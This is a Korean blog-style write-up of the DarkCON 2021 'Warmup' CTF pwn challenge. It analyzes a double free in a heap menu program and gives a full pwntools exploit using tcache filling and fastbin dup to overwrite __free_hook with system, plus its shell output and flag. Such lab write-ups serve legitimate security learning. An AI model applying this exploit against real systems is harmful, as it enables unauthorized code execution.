[DarkCON 2021] Warmup
문제 개요
64비트 Linux 바이너리 a.out과 라이브러리(Ubuntu GLIBC 2.27-3ubuntu1.2) 파일 libc.so.6이 주어집니다. 동적으로 링킹되어 있으며 심볼은 없고(stripped), 보호 기법은 Canary와 NX가 적용되어 있습니다.
[*] '/home/user/study/ctf/dark21/pwn/warmup/a.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
바이너리를 실행하면 3개의 메뉴가 존재하며, 추가적으로 라이브러리 주소를 하나 제공하고 있습니다.
문제 분석
main 함수를 보면 다음과 같습니다.
__int64 __fastcall main()
{
char *msg_arr_0; // rax
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
setup();
msg_arr[0] = (char *)malloc(16uLL);
msg_arr_0 = msg_arr[0];
*(_QWORD *)msg_arr[0] = '{NOCkrad';
strcpy(msg_arr_0 + 8, "XXXXXXX}");
printf("Hello traveller! Here is a gift: %p\n", &strcpy);// libc leak
while ( 1 )
{
while ( 1 )
{
print_menu();
__isoc99_scanf("%d", &choice);
fgetc(stdin);
if ( choice != 1 )
break;
create(); // [1] - create
}
if ( choice != 2 )
break;
delete(); // [2] - delete
// [VULN] Double free!
}
if ( choice == 3 )
exit(0); // [3] - exit
return 0LL;
}
msg_arr은 길이가 16인 char*형 배열입니다. 16바이트 힙 메모리를 malloc 함수로 할당하여 msg_arr[0]에 저장하고, "{NOCkradXXXXXXX}" 문자열을 할당한 힙에 복사합니다. 이후 라이브러리 함수 strcpy의 주소를 알려주고, 메뉴를 선택하도록 합니다.
1번 메뉴의 create 함수를 살펴봅시다.
void __fastcall create()
{
int idx; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
idx = read_idx();
printf("size: ");
__isoc99_scanf("%d", &size_arr[idx]);
fgetc(stdin);
if ( size_arr[idx] <= 32 && size_arr[idx] > 0 )// size should be in 1~32
{
printf("input: ");
fgets(buf, size_arr[idx], stdin);
msg_arr[idx] = (char *)malloc(size_arr[idx]);
strcpy(msg_arr[idx], buf);
}
}
먼저 read_idx 함수로 인덱스 값 idx를 입력받습니다. read_idx는 바이너리에 존재하는 함수로, 다음과 같이 0~15 사이의 정수 값만 입력받는 함수입니다.
__int64 read_idx()
{
int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%d", &idx);
fgetc(stdin);
if ( idx > 15 || idx < 0 ) // idx should be in 0~15
exit(0);
return (unsigned int)idx;
}
이후 크기 값 size를 입력받아 size_arr[idx]에 저장합니다. size_arr은 역시 길이가 16인 정수형 배열입니다. 입력받은 크기 값이 1~32 사이일 때만 malloc 함수로 크기만큼 힙 메모리를 할당합니다. 이후 지역 변수인 buf 배열에 fgets 함수로 크기만큼 입력받고, strcpy 함수로 할당한 힙으로 복사합니다.
다음으로 2번 메뉴의 delete 함수를 보겠습니다.
void delete(void)
{
int idx; // [rsp+Ch] [rbp-4h]
idx = read_idx();
free(msg_arr[idx]); // [VULN] Double free!
}
인덱스 값 idx를 입력받고 msg_arr[idx]를 free 함수로 해제합니다. 그런데 해제한 후 msg_arr[idx]를 NULL로 초기화하는 등의 코드가 없어 Double Free에 취약하게 됩니다.
문제 풀이
문제에서 제공한 Glibc 2.27은 tcache를 사용합니다. Glibc 2.27의 tcache는 Double Free에 대한 검증이 없는 것으로 알려져 있으나, 로컬에서 사용 중인 Glibc 2.27의 버전은 Ubuntu GLIBC 2.27-3ubuntu1.4로 이후 버전에서 도입된 검증 로직이 적용된 상태였습니다.
따라서 문제 상황에서는 검증이 없는 것이 맞으나, 어쩌다보니 tcache의 Double Free 검증을 가정하고 풀게 되었습니다. 이를 우회하기 위해서는 같은 크기의 7개의 힙 메모리를 해제하여 tcachebin을 모두 채운 후, 이후 해제하는 힙 메모리는 fastbin에 채워지도록 하여 fastbin dup 기법을 사용할 수 있습니다.
예를 들어 16바이트 크기의 힙 메모리를 충분히 많이(10개 이상) 할당한 후, 순서대로 0번~6번 힙을 해제하면 모두 tcachebin에 저장됩니다. 이후 7번, 8번, 7번 힙을 순서대로 해제하면 아래 그림과 같이 fastbin의 연결 리스트에서 7번째 힙이 두 번 저장되게 됩니다.
이 때 다시 16바이트 크기의 힙 메모리를 7개 할당하여 tcachebin을 모두 비우고, 추가로 16바이트 크기 힙 메모리를 할당하면 7번 힙이 반환됩니다. 반환된 힙 메모리에 데이터를 쓰면 fastbin에 여전히 존재하는 7번 힙의 FD 포인터를 변조하여 임의 주소가 fastbin에 저장되도록 할 수 있습니다. 이후 힙을 계속 할당하여 해당 주소를 반환받으면 임의 쓰기가 가능합니다.
fastbin dup 기법에 대한 자세한 내용은 아래 강좌에 더욱 상세히 작성되어 있습니다.
Heap Allocator Exploit - 4. fastbin dup | Dreamhack |
dreamhack.io/learn/2/16#28 |
임의 쓰기가 가능하므로 __free_hook 주소에 system 함수 주소를 저장하고, 힙을 할당받아 "/bin/sh" 문자열을 저장한 후 해제하면 system("/bin/sh")를 호출하여 셸을 획득할 수 있습니다. 이를 익스플로잇 코드로 작성하면 다음과 같습니다.
#!/usr/bin/python
from pwn import *
# r = remote('65.1.92.179', 49155)
libc = ELF('./libc.so.6')
r = process('./a.out', env={'LD_PRELOAD': libc.path})
e = ELF('./a.out')
def create(idx, size, msg):
r.sendlineafter('[3] - exit\n', '1')
r.sendlineafter('index:', str(idx))
r.sendlineafter('size:', str(size))
r.sendlineafter('input:', msg)
def delete(idx):
r.sendlineafter('[3] - exit\n', '2')
r.sendlineafter('index:', str(idx))
def exit():
r.sendlineafter('[3] - exit\n', '3')
def main():
# libc leak
r.recvuntil('Here is a gift:')
libcbase = int(r.recvline().strip(), 16) - 0xb65b0
print('[+] libcbase: ' + hex(libcbase))
# fill tcache
for i in range(11):
create(i, 16, chr(ord('a') + i) * 15)
for i in range(7):
delete(i)
# fastbin dup
delete(7)
delete(8)
delete(7)
# empty tcache
for i in range(7):
create(i, 16, chr(ord('a') + i) * 15)
# insert __free_hook address into fastbin
free_hook = libcbase + libc.sym['__free_hook']
create(7, 16, p64(free_hook))
create(8, 16, 'aaaa')
create(9, 16, '/bin/sh\x00')
# change __free_hook to system
system = libcbase + libc.sym['system']
create(10, 16, p64(system))
# system("/bin/sh")
delete(9)
r.interactive()
if __name__ == '__main__':
main()
➜ warmup ./ex.py
[*] '/home/user/study/ctf/dark21/pwn/warmup/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './a.out': pid 2084
[*] '/home/user/study/ctf/dark21/pwn/warmup/a.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] libcbase: 0x7fec93d3d000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare)
FLAG
darkCON{shrtflg}
'CTF > Pwn' 카테고리의 다른 글
[Dreamhack S1 Round #5] linux_forest (1) | 2021.02.26 |
---|---|
[DarkCON 2021] Easy-ROP (0) | 2021.02.22 |
댓글
이 글 공유하기
다른 글
-
[Dreamhack S1 Round #5] linux_forest
[Dreamhack S1 Round #5] linux_forest
2021.02.26 -
[DarkCON 2021] Easy-ROP
[DarkCON 2021] Easy-ROP
2021.02.22